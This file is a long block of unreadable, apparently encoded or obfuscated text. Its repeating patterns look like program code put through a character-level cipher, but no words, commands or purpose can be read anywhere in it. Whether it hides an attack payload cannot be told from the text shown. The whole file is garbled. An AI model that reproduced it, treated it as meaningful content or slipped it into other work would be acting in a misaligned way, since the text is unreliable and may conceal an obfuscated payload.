VDu__[	M	O____B__ L	WNFFJVWNIFFOOL	OWVS_ L	WMNFNVVD[NBNIUID[ML  B[NRNJDu___[FO_B___NIFFOOL	OWVDu_[OKN__B_]]Du_______W? L	WMMNLVW[FOV_YY_?IFMWMMNGVW[FOV___A__WFGGLRKGGLVV_u___[M	MJ___B__WV__?LWMNOJVW[FOVD[G	BRKJD[N FJBW[G	AOV@[G	ER[G	Du__[MKKJI_B____GKFWMNHMVWGKFWMMNFVV___@_ GH
JKHW[M	MJV_E_____[M	MJDu_______W L	WMMMOVW[MKKJIV__YY_ L	WMNGFVW[MKKJIV______A__WFNMRKNMV_YY__	JFO H
W[MKKJIVV_[OKN__B______[MKKJIDu_
W[M	MJS____[MKKJIVDu__u____W[OKN____BBB__]]V___u[
MJ__B___F
W>=,/>+7___Q__IFMWMMMNVS_WNFRFVVDu_____[I	H 	__B_ L	WMNHMVW L	WMNJJVV______@_? W[
MJS_]]V___E__]]Du_____W^[I	H 	_______IFMWMMMMVW[I	H 	V__C____WKKJTJJVV__
D[ KNBLFNLGD[JMJB[ KN!MMMDu[OKN__B____MLI	NWLWKOMVW[I	H 	VVDu___W^[OKN____IFMWMMMMVW[OKNV___C___WKJMTKGVV__
Duuu____W^	JFO H
W[OKNVV_u___KKGMM 

WLWNMGHVS__IFMWGHLVVDu_
Du___u_____u__[	KNIO_B__
MHGO
G	
FWVDu__[GONN
J___B___[	KNIO__Q___ L	WJJV__Q_____[	M	ODu[__B___[GONN
J_Q___XPX__Q_[	M	O__Q___LWMNFNVDu________W^?LWNFGMVW[GONN
JVV__ NKKW[GONN
JS___WKKGTKJVS_
VDu_[I 	 __B_? L	WMMNLVW[V_@_WV__?GKFWMNOJVW[V_E____]]Duu[H	
FK___B___Du__W[I 	 _^BB_]]____YY_____GKFWMOLKVWGKFWNFFNVS___LWMNIIVW[I 	 S__OS__WKOJLTKLVVS____[ MF	MHFIV___YY__	 W[ MF	MHFI$N"S__GIILHWVS_XAXVV_[H	
FK_____B_____
Du___
W[ MF	MHFIVDu_________W^[H	
FK_YY____W[I 	 _BBB__]]__IFMWMNKIVW GH
JKHW[I 	 VV_____^BB__IFMWMNKIVW[OKNVVV__u________W
LKLJ	NW[S_LN
JW[OKNVVV_____uL 
	W[S____WLFMTMGVVDu_FKKKNLW[VDu_OFKKF W[VDuu______u__
W[I 	 S____[H	
FKVDu__WGKFWMNHMVWLWMNJJVV___YY__GKFWMMMLVWIFMWNHIIVVV_[JINBLHUHD[
		GB[JINRKHDu___[	JLKKKN_B__[	M	O__Q_XPX_____Q__[	M	O_Q__ L	WMNFNVDuuuu____[GKF H__B___ W L	WMMMKVS___WVVDuuu___________W^GKFWMNMMVW[GKF HVV_[GKF H_B__WVDuuuu______W^ L	WMMMJVW[	JLKKKNS______[GKF HS_____
VV____u______[GKF H$"____B_[	JLKKKNDu
 WIFMWMMMIVS____IFMWHOMVW[GKF HVVDuuuu____u_[N	F_B____
 F	G	KOOWVDu________W?GKFWNFGMVW[N	FV____ NKKW[N	FS__WKKITKHVS_
VV__u[JOKL__B_[N	F___Q____XPX__Q_[	M	O__Q___IFMWMMMHVDu__[G ___B__?GKFWMMNLVW[JOKLV_@____WV_?GKFWMNOJVW[JOKLV_E_]]Du_[ __B____Du_________W[G ___^BB_____]]_____YY__GKFWMMMGVWGKFWNFFNVS_GKFWMMMFVW[G S_OS__WLKKHTIKFVVS___[IOV___YY__	 W[IO$N"S___GIILHWVS____XAXVV____[ _B_
Du_
W[IOVDuuu__W^[ __YY___W[G ___BBB__]]______IFMWMNKIVW GH
JKHW[G VV______^BB_IFMWMMLOVW[OKNVVV______[	BGONOID[JGJ
HJB[	!JNDu_W
LKLJ	NW[JOKLS__LN
JW[OKNVVV____uu__L 
	W[JOKLS___WNNTKOFVVDuFKKKNLW[JOKLVDuu____OFKKF W[JOKLVDu___uPP__uu________W^[ V_____u_[FI_B__?IFMWMMOFVW[JOKLVDu______W^[FI_____W[FI___Z__WNJKOMGRJKOMGVV__^BB_____KIIKM	WVV__FKKKNLW[JOKLVDu_
W[FIVDuuu_u
W[G S__[ VDu_____u__O
OHW[OKNVDu_____W+____[NJN MV___uu__KKGMM 

WIFMWMMLNVS__[NJN MVDu__________W:__[NJN MV_____uuu_
___HII  HWVu__u______W^W[ 8:+$XX"V_____^LWMMMOVW[ 8:+$XX"VV___
Du__[ HH____B_____[ 8:+$XX"Du___W[ HH___BBB_ O JW L	WNKONVVV____u_________u[ JFKI
FO__B__	MGLGWV__Q_XPX_Q__F
W>=,/>+7_____Q__IFMWMMLMVS_WNNM!NMOVV___Q_IFMWMMMHVDu__[KI
__B____? L	WMMLLVW[ JFKI
FOV___@_____WV__?LWMMNGVW[ JFKI
FOV__E_ODu__W[KI
___A___WKJNTKFV_YY___[KI
____CB_WJJHNHJTKIGJHOJVV__u
__[ JFKI
FODu__u_____W+___[NJN MV____uuuu______W:_[NJN MV__u___u____WGKFWKJIVWV_A_O__YY__?  WVV_u___uuuu_______WGKFWMMLKVVDuDu____uuuu______W[ HH__^BB_____ O JW L	WNLHFVVV__
Du________u_______WIFMWMMLJVWLWMMLIVV____YY_IFMWMMLJVWGKFWMMLHVVV___u____?
 W L	WJILVS__WV__? WIFMWJILVS__OV_T___NS___IFMWMMLGVVDuuu__?
 WLWJIJVS___GKFWMMLFVWVS_LWMMKOVVDu_u[H__B__MLI JWGKFWNLHIVS____]]VDuu___WGKFWMMMMVW[HV______A__WFGTMV__YY__^GKFWMMKNVW L	WMMKMVS__[HV__YY__IFMWMMKNVW L	WMMKLVS_[HVV___uu__[FHM __B___?LWKOMVW[HS______
VDu__W[FHM __^BB____YY_IFMWMMMMVW[FHM V_____A______WJJTKJVV__[H__B_[FHM Duuuuu____WLWMMKKVW[HV__C___WNLGRLGVV____[H__B___KG	 GOIWVDu____WGKFWMMKJVW[HV__C__WHHTMLVV__u_____WLWKJIVWV_____A__O____YY__?  WVV__[OLMBFNGOD[O
KNFIFB[OLMZLDu________u___WLWMMKIVVDu_WIFMWMMKHVVDu_____WGKFWMMKGVVDu__Duu_u_[FJ	J____B____MLI JWIFMWMMKFVS__]]VDu__[HMH
_B__X]X_Q______LWMMLOVW[FJ	J___Q____[HV_Q_____X]XDuuuu___WW[ ,:-):-$LWMMJOV"V___YY____ L	WNMGNVW[ ,:-):-$GKFWMMJOV"V__BBB_[HMH
V_u___WGKFWKJIVWV___A_O__YY__?  WVV_u___u_W L	WMMJNVVDuuu____WLWMMJMV___Q___[HMH
VDu____Du____u___W L	WKJIVWV_____A__O____YY___?  WVV_____u____uW L	WMMKIVVDu_____W L	WMMJLVVDu_______W L	WMMJKVVDu_W L	WMMJJV_Q_[HMH
VDuuuu______[FJ	J_Q__[HDu____Du_________W+_[NJN MV_uu_____KKGMM 

WLWMMJIVS_[NJN MVDu_________W:___[NJN MV__u_____KKGMM 

WLWMMJIVS_[NJN MVDuuuPP_(/_,_9E__uu__uHII  HWVDu_____
____JHJJKGWVuu__W^W[ 8:+$ L	WMMJHV"VV__
Du_u_[
JH _____B_[ 8:+$IFMWMMJHV"Du____W^GKFWMMJGVW[
JH V______[
JH ____BBB__]]V_____
Du[
JH _B_ L	WHHVW[
JH VDu__[
KGH K_B__WVDu______WIFMWMMJFVWLWMMIOVVV___[
KGH K$"_B_WV______LWMMINVW 
WVS_/7/ *-3 70,+VDu____WIFMWMMIMVWLWMMILVVV____uuu_[ LHN_____B_____WV____? WIFMWMMIKVS__]]VDu________W[ LHN____^BB___]]V_[
KGH K$"__B___WV___IFMWMMINVW[ LHNS___/7/ *-3 70,+VDu______uu_WW[ ,:-):-$LWIKIV"VV______[
KGH K$"___B_WV__[ ,:-):-$ L	WMMIJV"Du___[
KGH K$"__B_	OW]]VDuuu[KGL__B_Du_____W L	WNFHIVW[
KGH KV_______[	HFLKV______[KMJ	B/7/ 61+ 2>'P/7/ 61+ 2>'D[ 	B[KMJ	TKGDu____W^GKFWMMIIVW[	HFLKV___[	HFLK_____BBB__]]V___
Duu____WGKFWMNGMVW[	HFLKS__XEXV_^BB_V____[	HFLK_____B_____LWMNHGVWGKFWMMIHVS____]]S_____[	HFLKVDu__________WF
WGKFWHHVW[	HFLKV__Q_GKFWMMIGVS_WNIH!NHNVV____BBB_[
JH V____uu___[KGL_B__
D[		IH G
B/7/ 2>50- ):-,601D[NK	KJONMB[		IH G
UIDuuuuDuu___u__W^[KGLV___
Du_[LI
______B__GKFWNLGGVW L	WMMIFVS__WMMK!MJKVVDu___[JHJG__B______MLI	NW
J LLLI	 W[LI
VVDu___WIFMWKJIVWV_A_O____YY_?  WVV____u_u_WLWMMHOVVDu_WIFMWMMHNVVDu_____W[JHJG____BBB__[LI
V__@_IFMWMMHMV__Q_IFMWMMHLVW[LI
V_E_LWMMHKVDuuu___Du_uu______W+__[NJN MV___u____KKGMM 

WIFMWMMHJVS_____[NJN MVDu______W:____[NJN MV___u___KKGMM 

W L	WMMHJVS__[NJN MVDu_____u_u___JHJJKGWVDu_______
___M	
NG
G
WVu__u__u__WLWMMHIVWLWMMHHVVV_  WVDu__________WGKFWMMHIVWLWMMHGVVV__L 
 WVDu__WIFMWMMHIVWGKFWMMHFVVV___  
 WVDuuu____WIFMWMMHIVWLWMMGOVVV_ 
 WVDu___W L	WNJMJVWLWMMGNVV____YY__GKFWFFVWGKFWMMGMVS____LWMMGLVVV_3, < >/6EE
 WVDu______W L	WNJMJVWGKFWMMGKVV_YY__LWMMGJVW L	WMMGKVS__LWMMGIVVV____= /
<EE  
WVDu__WGKFWNJMJVWGKFWINOVV_YY___IFMWMMGHVWIFMWINOVS_GKFWMMGGVVV__< :EE  WVDuuu________WGKFWMMHIVWGKFWMMGFVVV____   WVDu___WW[830=>3,$ L	WINNV"V__YY__LWMMFOVW[830=>3,$IFMWINNV"V_YY_____ L	WMMGHVW[830=>3,$GKFWINNV"S__GKFWMMFNVVV___[830=>3,$ L	WINNV"RA<W
VDu____WLWMMHIVWIFMWMMFMVVV_   WVDuuu______WIFMWNJMJVW L	WMMFLVV__YY__IFMWMMGHVWIFMWMMFKVS___IFMWMMFJVVV__
<EEWVDu__KKGMM 

WGKFWKFLVS__IFMWMMFIVVDu_______W+___[NJN MV_____uuuu____KKGMM 

W L	WKFLVS__[NJN MVDu_______W:_[NJN MV____u______u__uu__
_LMMGK
WVuu__W L	WMMHIVW L	WMMFHVV___YY______ WVV_
_
Du___________WGKFWMMHIVWGKFWMMFGVV__YY___  WVV__
_
Du_____WWLWMMFFVV_YY_-:,+ -:.*:,+V___
_
Du_WWIFMWMLOOVV__YY____'23-/< -:.*:,+V___
___
Du___WIFMWMMHIVWLWMLONVV_____YY___ WVV__
_
Du________WLWMMHIVW L	WMLOMVV__YY____ WVV___
_
Duuu_____WLWMMHIVWLWMLOLVV_YY___ WVV___
___
Duu__WGKFWMMHIVWLWMLOKVV__YY___ 
 	WVV___
___
Du___WW[ 8:+$LWMLOJV"V_______W[ 8:+$ L	WMLOIV"V____W[ 8:+$ L	WMLOHV"VV_
_
Duuu__
___Duuuuu
_ OK
	WVuuuu__[M
FBFNULD[GMB[M
FRFDu____[	L FF	___B__WW[830=>3,$IFMWHNLV"V_YY___LWMMIIVW[830=>3,$IFMWHNLV"VV___@___GKFWNMGNVW[830=>3,$LWHNLV"V____E___]]Duuuu_W[	L FF	___BBB____]]V_
_]]Du[	L FF	_B___GKFWMLOGVWGKFWMLOFVS_____IFMWMLNOVS___[	L FF	VDu__[FG	KHK__B___ L	WMMHIVWIFMWMLNNVV____@______WV__GKFWMMINVW 
WVS_/7/ *-3 70,+V____E_____]]Du__[
K	M_____B__F
WLWHHVW[FG	KHKVS___WLTLVVDu____[MOMJ____B____IFMWMMMFVW L	WMMHLVW[	L FF	VS___OS_WKTMVVDu_
_]#C_RB#]]___Q___[
K	M___Q__XRX__Q_[MOMJ__Q_]#]A#]_____Q______[	L FF	__Q_]#CPA#C^RR_]_____Q___[
K	M___Q__XRX_Q_____[MOMJ______Q___]_RRA#]Duu_
___IJKIWVuu_______u__________WLMMGK
WVV____
Duu_____[ ___B_ OK
	WVDu________W[ __BBB___]]V_
Du_______[ Du_[830=>3,$LWJJJV"_B__
Du___WLWMLNMVWGKFWMLNLVV_____YY__GKFWMLNMVWLWMLNKVV___YY_W[830=>3,$IFMWMLNJV"VV_u__[830=>3,$ L	WMLNIV"__B___
Du____[	OJ
	
MG____B____WV___? WIFMWJIOVS__OVDu___WIFMWMMLFVWV____R____[	OJ
	
MG__A____WMFKTIVV__?
 WLWJIOVS_ L	WMLNHVWVS___GKFWMMKOVVDu___
W[	OJ
	
MGVDuu______W+__[NJN MV__uKKGMM 

W L	WGNIVS_[NJN MVDu__W:_[NJN MV_uuuuu____u__
_GMHNGIFHW[MO	HGVu_u________W^GKFWMMIIVW[MO	HGV__[MO	HG__BBB_____]]V____
___[MO	HGDu__W^W[830=>3,$ L	WMLNGV"VV_____
__[MO	HGDu___[ __B_ OK
	WVDu___W[ __BBB_]]V_
_[MO	HGDuuu_______WW[MO	HGS___GKFWMLNFVV_BBB___YY_W[MO	HGS___GKFWMLMOVV__BBB_V______
___[MO	HGDuu____[830=>3,$ L	WMLNGV"___B_
Du_[830=>3,$LWJJHV"___B______
Duuu_[IH GM
I__B__W[MO	HGS_ L	WMLNFVVDu_____W[IH GM
I___^BB____V__u
____LWMMMFVW[MO	HGS__OS_[IH GM
IV____Q_[ _Q_GKFWMMMFVW[MO	HGS__[IH GM
IVDu__uPP_/7/_GQK_E_
	_Ruu__
__[MO	HG__Q_____[ Duu_____
_____GIKKLMMIWVuu______uPP_(/_=<E__uuu__WLMMGK
WVV___
Du_____W^W[830=>3,$GKFWMLMNV"VV_
Du_____[	L FF	_B_WW[830=>3,$ L	WHNLV"V___YY_IFMWMLMMVW[830=>3,$IFMWMLMLV"VV__@_____LWNMGNVW[830=>3,$GKFWMLMKV"V_E____]]D[HB/7/ 2>50- ):-,601D[F HHB[HUIDu_____W[	L FF	_BBB__]]V_
Du[830=>3,$IFMWMLMNV"_____B__
Du________?GKFWMLMJVW L	WMLMIVVDu_____W+_[NJN MV____u__KKGMM 

WIFMWJJIVS__[NJN MVDu_________W:_____[NJN MV__u___u__u___
__LLM

MWVuu________u______u___W^ WV___YY__W^W[830=>3,$LWMLMHV"V___[830=>3,$GKFWMLMGV"___^BB__IFMWMLMFVVV__
Du___WLWMLNMVW L	WJKMVV_____YY__^ WVV_
Du__[
O___B_MLI JWLWNLHKVS____]]VDuuu___[
K	M_____B___F
W>=,/>+7____Q_ L	WGNIVS___WNNM!NNGVVDu_[	MOHGM	N
__B_____GKFWNIFGVDu____W[
O____BBB___]]V_u______W L	WMLNMVWLWMLNLVV___YY_WV__? W L	WJIGVS___OVV____u______?
 WGKFWJIGVS_OS_____ L	WMMKOVVDu[GKJ
N		L__B_WV____? W L	WMLLOVS_]]VDu_______]#]__Q__ L	WMLLNV___Q___[
K	M_Q___XAXu___Q___GKFWMLLMVu____Q___ L	WMLLLV_Q______[	MOHGM	N
W L	WMLLKVV____Q__LWMLLJVu__Q___ L	WMLLIV____Q__LWNLIMVW[GKJ
N		LV____Q_XDXu___Q__ L	WMLLHV____Q___[	MOHGM	N
WGKFWMLLGVV_____Q___LWMLLFVu_Q_IFMWMLKOV___Q_[	MOHGM	N
WLWMLKNVV___Q_____GKFWMLKMV_Q_[	MOHGM	N
WGKFWMLKLVV_Q____ L	WMLKMV_Q___[	MOHGM	N
WIFMWMLKKVV__Q_LWMLKJV____Q_[	MOHGM	N
WIFMWMLKIVV__Q__GKFWMLKHVu____Q__IFMWMLKGV_____Q_[	MOHGM	N
WGKFWMLKFVV__Q____LWMLJOV__Q_[	MOHGM	N
WLWMLJNVV____Q__IFMWMLJMVuuu_______Q__ L	WMLJLV___Q___]#]Du
W[GKJ
N		LVDu__uu______
Du_uuuu[
O__B_ L	WMLJKVW L	WNLLMVS__GKFWNLLLVS_____[
OVDu____WIFMWMNGMVW[
OS__ L	WNLLLVV_^BB______OV__[
O__B___ L	WNLLLV__Q_ L	WNLHLVW[
OS_XPXVDuuuu_[ KGM___B_XPXDu____WIFMWMLJJVW L	WMLNNVVV_____uu______[	KGLJ F___B_WV_____ L	WMLJIVW 
WVS__/7/ *-3 />+7VDu__________W[	KGLJ F_^BB_____]]__YY____[	KGLJ F_^BB__XPXV_[ KGM_____B___IFMWMLJHVW[	KGLJ FS_XPXV___Q__XPXDu________u___________WLWMLJJVWLWMLNKVVV_u__?
 WLWJIGVS__NS_ L	WMMKOVVDu____?
 WIFMWMLLOVS_[
OS_LWMMKOVVDu_u____[	FOH__B____GKFWMLJGV__Q_[
K	M____Q__XAXuQ_IFMWMLJFVu_____Q_LWMLLLV__Q_____[	MOHGM	N
W L	WMLLKVV__Q____ L	WMLIOVuQ___IFMWMLINVu___Q___IFMWMLIMV__Q__[	MOHGM	N
WIFMWMLILVV___Q__GKFWMLIKV___Q__LWMLIJVW[
OV____Q__XVXu_Q__ L	WMLIIV_____Q___[	MOHGM	N
WGKFWMLIHVV_Q__GKFWMLIKV_Q_IFMWMLIJVW[
OV___Q__ L	WMLIGV_Q_LWMLIJVW[ KGMV__Q__LWMLIFV__Q____[	MOHGM	N
WGKFWMLHOVV____Q___ L	WMLHNVuQ__LWMLHMV____Q__[	MOHGM	N
WLWMLHLVV__Q__ L	WMLHKVu___Q_____LWMLIMV_Q___[	MOHGM	N
WGKFWMLHJVV__Q__IFMWMLHIV_____Q____[	MOHGM	N
W L	WMLHHVV___Q__IFMWMLHGVu__Q_LWMLHFV__Q_[	MOHGM	N
WGKFWMLGOVV_____Q_IFMWMLGNVu__Q___IFMWMLGMVu______Q__IFMWMLIMV_Q___[	MOHGM	N
WIFMWMLGLVV_Q____IFMWMLGKVuuuu___Q_LWMLGJV_Q___[	MOHGM	N
WLWMLKNVV_Q_GKFWMLGIV__Q____[	MOHGM	N
WIFMWMLGHVV__Q_GKFWMLGGVu___Q__IFMWMLJLVDu_____]#]__Q_[	FOH______Q__]#]Du_________W+___[NJN MV____u___KKGMM 

WGKFWMLGFVS_[NJN MVDu____________W:__[NJN MV______uuuu___KKGMM 

WLWMLGFVS__[NJN MVDuuuu__u___u_u___WGGNNIWVV______u_
Du__u	 NWVDu_[H _B____?LWMLFOVWNIFFOOL	OWVVDu____W^[H ___W[H _Z__WOLTONHIJVV__^BB____KIIKM	WVV__u______[
JL_B__GKFWMLNHVWVDuuuu______OOKHH
 LGWNIFFOOL	OWVS_____W[
JL__R_____W[
JL__Z_WFFFJFTKNVVV_T____KIIKM	WVVDuu___
W[
JLVDuu_____
W[H VDu__uu[
	
HG_B_  963:  Du_[
HLM__B__]]Du__[OML____B__?GKFWMLFNVW[
	
HGS__S__
S____OS__WIMKMRMNKIVVDu___WLWMLMMVW[OMLV__YY__IFMWMMKNVW L	WNFFNVS_[OMLS____[G
LVV__[
HLM__B__[G
L$N"Duu_____W[
HLM_^BB____]]__YY___W L	WMLFMVVV_____u[ __B___WVDuuu___[OF_B_WGKFWNIIHVV______@_(/2* /3*861 ;6-__E_____(/ <01+:1+ ;6-____Q__GKFWNFHFVDuu_[KG__B__WGKFWGMGVV___@____(/ /3*861 ;6-__E__(/ <01+:1+ ;6-_Q___IFMWNIIGVDu_[NFHO	___B_Du_____WLWMLJJVWGKFWMLFLVVV____uu_[ 
HNK ______B______?IFMWNFGMVW[OFV__@___?IFMWMLFLVW[OF_____Q_____LWIIMVV__E_Du___[G_B___?GKFWMLFKVW[KG_Q___LWNFGLVVDu____WIFMWMLFJVW[ 
HNK V___GKFWMLFIVW[GVV__uuu_[NFHO	_____B___
Du___WWV___[ 
HNK ____[	FOJ KLV_____[ $"____B__[	FOJ KLDu____WWV__[G___________[	FOJ KLV_[ $"__B__[	FOJ KLDuuuu___
W[ 
HNK S____[GVDu__u______W^[NFHO	V_u____[GGOO_B_?GKFWNFGMVW[OFV__@__
MN
LHJH
W[OFV_E___Du____________WIFMWMLFIVW[GGOOVV____W[GGOO____[OV____uuu_________WIFMWMLFHVW[OS__RWIRMVV_BBB____GKFWMMMHVV____[ $"__B__[OF__Q__XPX______Q_____[ODuu_______[GGOO____B__?GKFWNFGMVW[KGV____@__
MN
LHJH
W[KGV____E_Du_____WLWMLFGVW[GGOOVV____W[GGOO________[OV_uu____[F MJJ___B___[KG___Q___XPX__Q_[ODu___W^?LWMLFFVW[F MJJVV_
Duuu[

GJ L_B__
MN
LHJH
W[F MJJVDu_______W^ L	WMLFGVW[

GJ LVV___
Du___W[

GJ L______[ONV__uuuu___WIFMWMKOOVW[ONS____RWOMTOMVV__BBB_____GKFWMMMHVV_[ $"___B____[F MJJ__Q_____XPX__Q_[ONDu______u_u__
W[GGOOS_[OS_[ONS____[F MJJS______[

GJ LVDuu________[	OK
___B_____GKFWNFFJVW[
	
HGS__ L	WMKONVVDu_________W[ ___[	FOJ KLV__u_____W[	FOJ KL___BBB_[
	
HGV__
Duu__[	KKH	M__B___?GKFWMKOMVW[	FOJ KLVDuu_______W^[	KKH	M____W[	KKH	M__Z____WNOLJKMRLJKMVV_^BB__WOJOTOFIVV__u[FO 
J__B___?GKFWMKOLVW[	FOJ KLVDu__________W^[FO 
J____[FO 
J_C__WKTKFIV______[FO 
J__A______WJMKMGHNGTGMVV__
Du____u_[OML__B__? L	WMLFNVW[	FOJ KLS___S_
S__OS_WOFKHTOIFVVDu________W^GKFWMLMMVW[OMLV__ L	WMKOKVW[OMLS__ L	WNFGFVV__BBB__V___
Du___W^ L	WMKOJVWIFMWNFFNVS_[OMLS_[G
LVV____
Du________WGKFWNFFJVW[	FOJ KLS_GKFWMKONVV___BBB_[	OK
__YY____[G
L$N"__BBB_[
HLMV_____u____W^H	JM
JHHW[	FOJ KLVV______uuuu________WH	JO
 MW[	FOJ KLS_[	FOJ KL__Q_GKFWNFGVV___YY______GKFWMLJJVW L	WMKOIVVV_? 	W[	FOJ KLS_
VDuuuu___u_
Du_uuuu______W	 W[G
L$N"S__[
HLMS___XCXVV___u___[KJJG_B____
KKHW[	FOJ KLVDu____W[KJJG____BBB_____V___u_KKGMM 

W L	WMKOHVS_____ L	WNFFMV_____Q_GKFWMKOGVW[	FOJ KLVVDu__
Du_____uu_W[KJJG____BBB_
V__u______WH	JO
 MW[	FOJ KLS__[	FOJ KL_Q___GKFWMKOFVVV__u__________W L	WMLJJVWLWMKOIVVV_? 	W[	FOJ KLS___
VDu_u____?IFMWHHNVWLWMOFHVW[	FOJ KLV___Q____GKFWHFFV____Q__LWMKNOVW[	FOJ KLS___IFMWMKNNVVVDu
Du___u__?LWHHNVW[	FOJ KLVDuuuu_?IFMWHHNVW L	WMOFHVW[	FOJ KLV___Q_GKFWMKNMV__Q__ L	WMKNOVW[	FOJ KLS__GKFWMKNNVVVD[LO 
 BIJHLD[	HLK	B[LO 
 ZHDu___WGKFWMLJJVWGKFWMKOIVVV_? 	W[	FOJ KLS__
VDuuuu__
Du__u[
MJN
______B__W L	WMKNOVWGKFWMKNLVW[	FOJ KLVV__BBB____LWMKNKV___LWMKNLVW[	FOJ KLV_____BBB__[OFVDu_____W^[
MJN
__YY_____GKFWMLJJVWLWMKNJVVV__u________[LF
_B_ L	WMKNOVWGKFWMKNIVW[	FOJ KLVV___Q__XPX__Q___GKFWMKNHVW[	FOJ KLVDu_[I	LNF___B_WV__? WLWMMMIVS__WVVDu_____[
MJN
___B__ L	WMMMJVW[LF
S_[I	LNFS__
VDu____W^[
MJN
_YY___LWMKNGVWIFMWMMHVV______YY__ 
WV_YY_LWMKNGVWIFMWMMFVVV__u[JKFNIGG_B_____WV__?  W L	WMKNFVS__WVVDuuuu___[
MJN
___B_W[JKFNIGG$[LF
"VDu_
W[JKFNIGGVDuu_u______
W[LF
S___[I	LNFVDuuuu___u___W^[
MJN
V_
Du___W	 W[G
L$N"S____[
HLMS_XAXVV_u_______WH	JM
JHHW[	FOJ KLV____YY__^	OJW[	FOJ KLVV__
Du[
_B____LWMKMOVW[	FOJ KLV_Q_____LWMKMNV__Q___GKFWMMHLVW[	FOJ KLVDu__W? L	WMMLLVW[
V____YY___WV_?LWMKOMVW[
V____C_IFMWMLNHVWV_R____WNJTKJVV__u_[FHI_____B__IFMWMKMMVWXXS____WV_?GKFWMLFNVW[
VVDu_____WGKFWMKMLVW[FHIV_C_M___[FHI$O"_^BB_[G
L$N"______WV_[FHI$N"_^BB_WV_____?LWMKOLVW[	FOJ KLVV___u____? L	WMKMKVW[
VDu
Duu__W
KKHW[	FOJ KLV____^BB_V___uuu___L 
	W[	FOJ KLS__WOGGTONNVVDuu________WO
	LW[	FOJ KLVV__u______?LWMKMKVW[
VDuu_WIFMWMKMJVW L	WMKOIVVV___? 	W[	FOJ KLS___
VDu__u_uu__
Du__u_? L	WMKMIVW[
S_[G
L$N"____Q_XX_Q__WV____?LWMKMHVW[	FOJ KLVVDu_____
Duuu___u_________W[G
L$N"__BBB__[
HLMV__uu_[HML
___B_GNGIKWVD[LOKBMNNOD[
B[LOKZJDu____[F
LN_B_Du__W^W[HML
$IFMWMKMGV"VV_____u_[GN	KJ__B__?GKFWNFGGVW[HML
$IFMWMKMGV"VDuuuu_[MGO___B__?IFMWNFGGVW[	FOJ KLVDu__WGKFWMLMMVW[GN	KJV_____YY_GKFWMLMMVW[MGOV____YY______[GN	KJ_BBB__[MGO_YY___
NM	
HW[HML
V____BBB_LWNHJNV______YY___H	JM
JHHW[	FOJ KLVV_
Duu______WIFMWMLMMVW[GN	KJV___YY____[GN	KJ_BBB_?GKFWMKMFVW[
	
HGVV_[F
LN____B_
Duu__W^[F
LN_YY_____^H	JM
JHHW[	FOJ KLVV__[HKBLTJKD[N
B[HKRMKDu___W	OJW[	FOJ KLV______
KKHW[	FOJ KLV_^BB____V_____u___WH	JO
 MW[	FOJ KLS____[	FOJ KL_Q______GKFWMKOFVV___YY_IFMWMKLOVWLWMKOIVVV__? 	W[	FOJ KLS_____
VDu_uuu
W[HML
S__[F
LNS__[GN	KJS__[MGOVDu
Du____uu_u_________W^[F
LN__YY__LWMKOOVWGKFWMMHLVWGKFWMKNHVW[	FOJ KLS_GKFWMKLNVVVS__OS_WMTNOVV____A___LWMKLMVWIFMWMKLLVW[	OK
VS_OS_WLCCMVVV___
Du____
W[HML
S_[F
LNS_[GN	KJS_[MGOVDu_uu____u_
W[
	
HGS__[
HLMS_[OMLS____[G
LS_[ S___[OFS__[KGS__[	FOJ KLS____[	KKH	MS_[	OK
S__[FO 
JS_[KJJGS______[
S___[FHIVDuu________W+___[NJN MV__u____W:__[NJN MV_uu_________WW[830=>3,$ L	WMKLKV"VV_u______W	 WWV__[830=>3,$IFMWMKLJV"S_GIILHWVS__LWMKLIVVV___
Du[830=>3,$LWMKLHV"___B_____NDu___WWLWMKLGVVV__u[FF____B____WLWMKLGVVD[M	K
BRKD[BW[M	K
AOV@[M	K
ER[M	K
Du_W L	WMLMMVW[FFV____YY__GKFWMKOJVWGKFWNIJGVS___[FFV__YY____	 W[FFS___GIILHWVS____ L	WMKLIVVV_
Du_[830=>3,$ L	WMKLFV"__B_NDu_
W[FFVDuuuu___uPP_
_	uu_______[830=>3,$ L	WMKLJV"____B_GIILHWVDuuu______WIFMWMKLOVWIFMWNGNVVV_?W
S____NIFFOOL	OWVVDu_[830=>3,$IFMWNGOV"______B_WV__?IFMWMKMHVWNIFFOOL	OWVV____Q_____XEX___Q__WV___?GKFWMKOMVWNIFFOOL	OWVVDu____W^WGKFWMKLGVVV___WLWMKLGVS_GIILHWVVDu_____W^WIFMWMKKOVVV_____WLWMKKOVS___GIILHWVVDuuuIJL	FGFLMFWIFMWMKKNVVDu_____uuuu__I
 		NOHHWNIFFOOL	OWVVDu___WLWMKLOVWIFMWMKKMVV_____YY__ L	WMKLOVWIFMWMKKLVVV_u______u_____[H	H __B_
 F	G	KOOWVDu____uu_________W?IFMWMLFFVW[H	H VV_uPP_(/_-:,+_>/6_	ME__
	Ruuuu[	KG _B___GJL
GJ
FWVDuuu_[FGF	O __B_
MN
LHJH
W[H	H VDuuuu___WGKFWMLFGVW[FGF	O VV_u_____W[FGF	O ______[KMJILKV_uu__W[KMJILK___BBB_[	KG V__
Du_____WLWHHVWGKFWGMMVW[KMJILKS___WLWMKKKVVVV___^BB_GKFWNMJNVV_
Duuu_[	GHMO_B__[H	H ___Q_XPX_Q_[KMJILKDu_____W?IFMWMMLLVW[	GHMOV_YY_? L	WMKMHVW[	GHMOV_A___WKFIKTLIV_YY__F L	W[	GHMOS__WOFNGTOHOVVV_u_ JNW[	GHMOVDu_____uuu_u_u_________W+_[NJN MV___uPP_/7/*_NOE_	R_RuuKKGMM 

WGKFWMKMVS_____[NJN MVDu________W:___[NJN MV_uPP_
_uuuu__u____uPP_?_uu____u________W^___
	LNFL NGWVV_u_MO	OL
	WLWGFFVS__GKFWMKKJVS__NVDuuu_u__u____[830=>3,$LWGIGV"_B____WVD__u_[830=>3,$LWKGMV"__B_WVD_____uuu______[830=>3,$ L	WMLMKV"_B_]]D____u_____W L	WMKLOVWIFMWMKKIVVV______u________GKFWMKKHVW L	WMKKGVVD[NLGBHLJGD[
FB[NLGZNKDuuuu_IFMWMKKHVWGKFWMKKFVVDuu_u______[JLOO___B___IFMWMKMOVWNIFFOOL	OWVV____Q______IFMWNHIMV__Q___GKFWMKJOVWNIFFOOL	OWVS____ L	WMKLNVVD[I IFKKGB/7/ 2>50- ):-,601D[JFLGB[I IFKKGUJDuu___W?GKFWMMLLVW[JLOOVV_____uu[JJGIKH___B___ L	WMKJNVWWV_?LWMKJMVW[JLOOVVDu[ GHOF___B___	L
LMWVDu___W[JJGIKH____BBB____]]_____[JJGIKH__^BB__[ GHOFV_O
	LW[JLOOVDu_
